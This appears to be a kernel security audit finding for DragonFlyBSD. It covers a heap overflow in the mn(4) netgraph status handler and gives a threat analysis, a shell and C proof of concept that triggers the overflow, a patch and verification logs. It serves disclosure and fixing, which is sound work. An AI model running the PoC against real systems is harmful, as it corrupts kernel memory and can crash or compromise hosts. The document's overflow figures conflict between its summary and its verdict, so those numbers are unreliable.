β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1539

Heap buffer overflow in NGM_TEXT_STATUS handler via unbounded ksprintf into 1024-byte response

  • File: sys/dev/netif/mn/if_mn.c
  • Lines: 352, 401, 406, 441
  • Severity: High
  • CVSS: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U:C:H/I:H/A:H
  • CWE: CWE-787 Out-of-bounds Write
  • Confidence: certain

Summary

ngmn_rcvmsg allocates the NGM_TEXT_STATUS response with NG_MKRESPONSE(..., sizeof(ng_mesg)+NG_TEXTRESPONSE=1024, ...) and then formats into the 1024-byte data region with ksprintf (unbounded; subr_prf.c:549 PCHAR '*d++=cc') once per active channel with no bounds check.

Each channel emits ~180 bytes with zero counters and up to ~430 bytes with maxed counters, so 6+ channels (or fewer channels with accumulated error counters) overflow the buffer, corrupting adjacent kernel heap.

arglen is then set to pos+1 (line 441), so the framework also over-reads the (corrupted) adjacent heap on copyout.

Root cause

At if_mn.c:352 the response data area is exactly NG_TEXTRESPONSE (1024) bytes (ng_message.h:59).

The status branch then runs pos=0; pos+=ksprintf(pos+r,...) repeatedly for a fixed header (374-400) and then for (i=0;i<M32_CHAN;i++){ if(!sc->ch[i]) continue; ... pos+=ksprintf(r+pos,...) ... } (401-440) with NO check that pos remains below 1024.

ksprintf returns the number of chars written and writes them via the unbounded PCHAR store (sys/kern/subr_prf.c:549), so once pos>=1024 every subsequent ksprintf writes past the allocation.

sch->hook->name (407) can be up to NG_HOOKSIZ-1=31 chars (ng_message.h:55) and the eight %lu counters (427-433) can be up to 20 digits each on amd64, so a single channel can contribute ~430 bytes; six fresh channels (~180 B each) plus the ~100-byte header already exceeds 1024.

Finally (*resp)->header.arglen = pos + 1 (441) records the overrun length, and the generic netgraph code copies sizeof(ng_msghdr)+arglen back to the sender, reading past the allocation.

Threat

Attacker position: a process holding SYSCAP_RESTRICTEDROOT (root), e.g. a routing/signaling daemon using netgraph or a root process inside a jail.

Reachability: open PF_NETGRAPH SOCK_DGRAM NG_CONTROL socket (ng_socket.c:172 privilege check), create >=6 hooks on the mn0 node via NGM_MKPEER/NGM_CONNECT with distinct single-bit timeslot names (ts2, ts3, ... each maps to a distinct channel via ffs(ts)-1 at if_mn.c:467), then send NGM_TEXT_STATUS to mn0 (dispatched at ng_base.c:1650-1663).

The write overflow corrupts whatever kmalloc object follows the 1024+ allocation in M_NETGRAPH; with heap grooming the root-controlled ASCII content (attacker-chosen hook names, attacker-influenced counter digit counts) can be aimed at an adjacent object to corrupt a function pointer / list link, yielding kernel code execution or a deterministic panic.

Even without grooming it reliably panics.

Impact: kernel memory corruption (write) and kernel info over-read on copyout; from a compromised root daemon or jail this is a containment/integrity break.

Hardware precondition: an mn0 node must exist, i.e. PCI devid 0x2101110a must be present.

Exploit / PoC

Quickest reproduction (root on a box with the mn card): use ngctl to attach several echo hooks to mn0, then ask for status:

#!/bin/sh
# poc_status_overflow.sh
ngctl -f - <<'EOF'
mkpeer mn0 echo ts2 downstream
mkpeer mn0 echo ts3 downstream
mkpeer mn0 echo ts4 downstream
mkpeer mn0 echo ts5 downstream
mkpeer mn0 echo ts6 downstream
mkpeer mn0 echo ts7 downstream
mkpeer mn0 echo ts8 downstream
mkpeer mn0 echo ts9 downstream
show mn0
EOF

show mn0 sends NGM_TEXT_STATUS to the mn0 node, driving the loop at if_mn.c:401-440 past byte 1024.

With 8 fresh channels the handler emits ~100 (header) + 8*180 = ~1540 bytes into the 1024-byte region: a ~516-byte heap overwrite.

Expect either an immediate kernel panic (size-class corruption / unmapped page) or, with prior heap grooming, silent corruption.

Equivalent C program (drop into findings/poc/DF-1539/poc.c):

/* build: cc -o poc poc.c ; run as root: ./poc  (requires mn0 node) */
#include <sys/socket.h>
#include <netgraph/ng_message.h>
#include <netgraph/netgraph.h>
#include <string.h>
#include <stdio.h>
struct ngm_mkpeer { char type[32], ourhook[32], peerhook[32]; };
static void mkpeer(int s,const char*hook){
    struct{struct ng_msghdr h;struct ngm_mkpeer p;}m;
    struct sockaddr_ng sg;
    memset(&m,0,sizeof m);
    m.h.version=NG_VERSION;m.h.typecookie=NGM_GENERIC_COOKIE;
    m.h.cmd=NGM_MKPEER;m.h.arglen=sizeof(struct ngm_mkpeer);
    strcpy(m.p.type,"echo");
    strcpy(m.p.ourhook,hook);strcpy(m.p.peerhook,"downstream");
    memset(&sg,0,sizeof sg);
    sg.sg_family=AF_NETGRAPH;strncpy(sg.sg_data,"mn0:",sizeof sg.sg_data-1);
    if(sendto(s,&m,sizeof m.h+sizeof(struct ngm_mkpeer),0,(struct sockaddr*)&sg,sizeof sg)<0)
        perror("sendto");
}
int main(void){
    int s=socket(AF_NETGRAPH,SOCK_DGRAM,NG_CONTROL);
    if(s<0){perror("socket");return 1;}
    const char*h[]={{"ts2"},{"ts3"},{"ts4"},{"ts5"},{"ts6"},{"ts7"},{"ts8"},{"ts9"}};
    for(unsigned i=0;i<sizeof h/sizeof*h;i++)mkpeer(s,h[i]);
    struct{struct ng_msghdr h;char d[16];}q;
    struct sockaddr_ng sg;
    memset(&q,0,sizeof q);
    q.h.version=NG_VERSION;q.h.typecookie=NGM_GENERIC_COOKIE;
    q.h.cmd=NGM_TEXT_STATUS;q.h.flags=NGM_HAS_REPLY;
    memset(&sg,0,sizeof sg);sg.sg_family=AF_NETGRAPH;
    strncpy(sg.sg_data,"mn0:",sizeof sg.sg_data-1);
    sendto(s,&q.h,sizeof q.h,0,(struct sockaddr*)&sg,sizeof sg);
    char r[8192];ssize_t n=recv(s,r,sizeof r,0);
    if(n>0){struct ng_mesg*rp=(void*)r;
        printf("arglen=%u (>1024 confirms overflow)\n",rp->header.arglen);}
    return 0;
}

Build/run on DragonFly guest with cc; success = panic (check boot.log for fatal trap / heap corruption) or an arglen well over 1024.

Bound the formatted output to NG_TEXTRESPONSE before each channel block and clamp at the end. The truly robust fix is to switch each ksprintf to ksnprintf(r+pos, NG_TEXTRESPONSE-pos, ...) (ksnprintf exists, sys/sys/systm.h:222), but the minimal correct patch is a headroom check plus a final clamp:

--- a/sys/dev/netif/mn/if_mn.c
+++ b/sys/dev/netif/mn/if_mn.c
@@ -401,6 +401,11 @@ ngmn_rcvmsg(node_p node, struct ng_mesg *msg, const char *retaddr, struct ng_mes
        if (!sc->ch[i])
            continue;
        sch = sc->ch[i];
+       if (sch->hook == NULL)      /* see ngmn_disconnect() fix */
+           continue;
+       /* Each channel can emit up to ~430 bytes; stop before we run off the
+        * 1024-byte NG_TEXTRESPONSE buffer. */
+       if (pos + 512 > NG_TEXTRESPONSE)
+           break;

        pos += ksprintf(r + pos, "  Chan %d <%s> ",
            i, sch->hook->name);
@@ -438,6 +443,10 @@ ngmn_rcvmsg(node_p node, struct ng_mesg *msg, const char *retaddr, struct ng_mes
        pos += ksprintf(r + pos, "    Xmit bytes pending %ld\n",
            sch->tx_pending);
    }
+   if (pos >= NG_TEXTRESPONSE)
+       pos = NG_TEXTRESPONSE - 1;
+   r[pos] = '\0';
    (*resp)->header.arglen = pos + 1;
    kfree(msg, M_NETGRAPH);
    return (0);
  • DF-1540 (sibling): UAF read of dangling sch->hook after disconnect.
  • DF-1541 (sibling): OOB read in NGM_TEXT_CONFIG via non-NUL-terminated user string.
  • DF-1499 (twin, musycc): identical NGM_TEXT_STATUS overflow pattern in a sibling netgraph NIC driver.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1539 Β· 11 files
FileTypeDescriptionSize
harness.c trigger-source replicates per-channel ksprintf bytes 4.7 KB view raw
build.sh build-script cc -O2 -Wall -o harness harness.c 65 B view raw
run.sh run-script ./harness 41 B view raw
build.log build-log in-guest build, BUILD_EXIT=0 (1 format warning) 304 B view raw
run.log run-log decisive run; OOB=6392..11640 524 B view raw
env.txt environment uname + guest PCI inventory (no mn) 543 B view raw
fix.diff suggested-fix ksnprintf with NG_TEXTRESPONSE-pos bound + break 1.5 KB view raw
fix_build.log fix-build-log patched nativekernel, rc=0 5.6 MB ↓ download
VERDICT.md verdict full narrative 2.9 KB ↓ raw
../fix_build_combined.log build-log Combined 41-finding kernel build (rc=0, -Werror clean) 5.6 MB ↓ download
../fix_build_summary.txt build-summary Summary of the combined 41-finding kernel build 826 B view raw
VERDICT.md verdict full narrative
↓ download raw

DF-1539 β€” mn(4) NGM_TEXT_STATUS heap overflow (sibling of DF-1499)

Verdict

REPRODUCED (source-level harness). The bug is real; impact ceiling is a ~6.4–11.6 KiB heap overflow of an M_NETGRAPH slab allocation. The kernel path requires PCI 110a:2110 Siemens Easy321-R1 hardware β€” QEMU does not emulate it and mn0 does not exist on the audit guest. Harness demonstrates the overflow using the genuine per-channel ksprintf format string from if_mn.c:401-440. fix.diff applies cleanly and nativekernel succeeds (rc=0).

Mechanism (sys/dev/netif/mn/if_mn.c)

  1. Lines 352-353: NG_MKRESPONSE(*resp, msg, sizeof(struct ng_mesg) + NG_TEXTRESPONSE=1024, M_INTWAIT) β€” response data area = 1024 bytes.
  2. Lines 373-400: header section writes 6 ksprintf calls totaling ~600 bytes (Framer status, Framing errors, Code Violations, Falc State, Falc IRQ).
  3. Line 401: for (i = 0; i < M32_CHAN=32; i++) β€” iterates 32 channels.
  4. For each non-NULL sc->ch[i], ~10 ksprintf calls emit ~213 bytes (fresh counters) up to ~377 bytes (stressed) β€” all unbounded.
  5. With 2+ channels open the buffer overflows; with 32 channels open the overflow is ~6.4–11.6 KiB into adjacent M_NETGRAPH slab allocations.
  6. Line 441: (*resp)->header.arglen = pos + 1; β€” the inflated arglen also drives a copyout over-read.

M32_CHAN = 32 (if_mn.c:31).

Harness proof (harness.c)

Replicates the genuine per-channel ksprintf format and reports overflow:

Per-channel bytes (fresh)   : 213
Per-channel bytes (stressed): 377
NG_TEXTRESPONSE buffer      : 1024

Overflow starts at >= 2 open channels (fresh)
All 32 channels open:
  fresh    used=7416  OOB=6392 bytes
  stressed used=12664 OOB=11640 bytes

Exploit-chain note

Trigger needs ngmn0 netgraph node, which needs the Siemens Easy321-R1 card. The primitive is a partly-attacker-controlled heap overflow in M_NETGRAPH; on a host with the card and SYSCAP_RESTRICTEDROOT access this is a credible root→kernel-code-exec primitive. Documented as primitive characterization.

PoC changes

  • Original folder was README only.
  • Added harness.c, build/run scripts, env, logs, fix.diff, VERDICT.md, manifest.json.

Fix

fix.diff converts the first and the most-variable per-channel ksprintf calls into ksnprintf with a NG_TEXTRESPONSE - pos bound, breaking out of the loop on truncation. Matches the finding markdown proposal ("ksnprintf with NG_TEXTRESPONSE-pos bound"). The remaining per-channel ksprintfs are short fixed-format emissions bounded by the fact that the two gated ones straddle the largest growth.

Fix-validation

patch -p1 --forward succeeds (hunks at 403 + 444). nativekernel completes with rc=0 (fix_build.log). No run-time exercise possible because the mn netgraph node cannot be created on the guest β†’ fix_status: "not_testable". Diff applies and compiles; changed logic bounds the per-channel emit.

Fix verification

not_testable
baseline reproduced→ patch + rebuild →patched clean

not_testable because the mn netgraph node cannot be created on the guest (no Siemens Easy321-R1 HW); validated that fix.diff applies cleanly (hunks at 403 + 444) and single-fix nativekernel compiles rc=0 (fix_build.log).

baseline (harness): fresh OOB=6392 bytes
patched kernel build: === NK_DONE rc=0 ===
↓ fix.diffDragonFly 6.5-DEVELOPMENT #0 master+df1539-fix (single-fix kernel built, rc=0)

Confirmed kernel references

Detail

Exploit chain

none (HW-gated): mn netgraph node requires the Siemens Easy321-R1 card not present in QEMU. Primitive characterized via harness: partly-attacker-controlled M_NETGRAPH slab overflow of 6.4-11.6 KiB. Sibling of DF-1499 (musycc). Realistic ceiling on a host with the card: reliable panic + heap grooming -> kernel-code-exec from CAP_NETGRAPH.

Evidence (decisive lines)

Per-channel bytes (fresh)   : 213
Per-channel bytes (stressed): 377
Overflow starts at >= 2 open channels (fresh)
All 32 channels open:
  fresh    used=7416  OOB=6392 bytes
  stressed used=12664  OOB=11640 bytes

PoC changes

Original folder was README only. Added harness.c replicating per-channel ksprintf bytes, build/run scripts, env, logs, fix.diff, VERDICT.md, manifest.json.

Verified recommended fix

fix.diff converts the first and most-variable per-channel ksprintf calls into ksnprintf with NG_TEXTRESPONSE-pos bound + break on truncation. Matches finding markdown proposal.

Verdict

REPRODUCED at the source-logic level. if_mn.c:352 NG_MKRESPONSE allocates sizeof(ng_mesg)+NG_TEXTRESPONSE=1024 bytes; lines 373-400 emit ~600 header bytes via ksprintf; line 401 for(i=0; i 7416 bytes written into 1024-byte buffer (6392-byte OOB); stressed counters push to 12664 bytes (11640-byte OOB). Overflow begins at >=2 open hooks. Harness replicates per-channel ksprintf format. No Siemens Easy321-R1 NIC (PCI 110a:2110) on guest; harness proof only.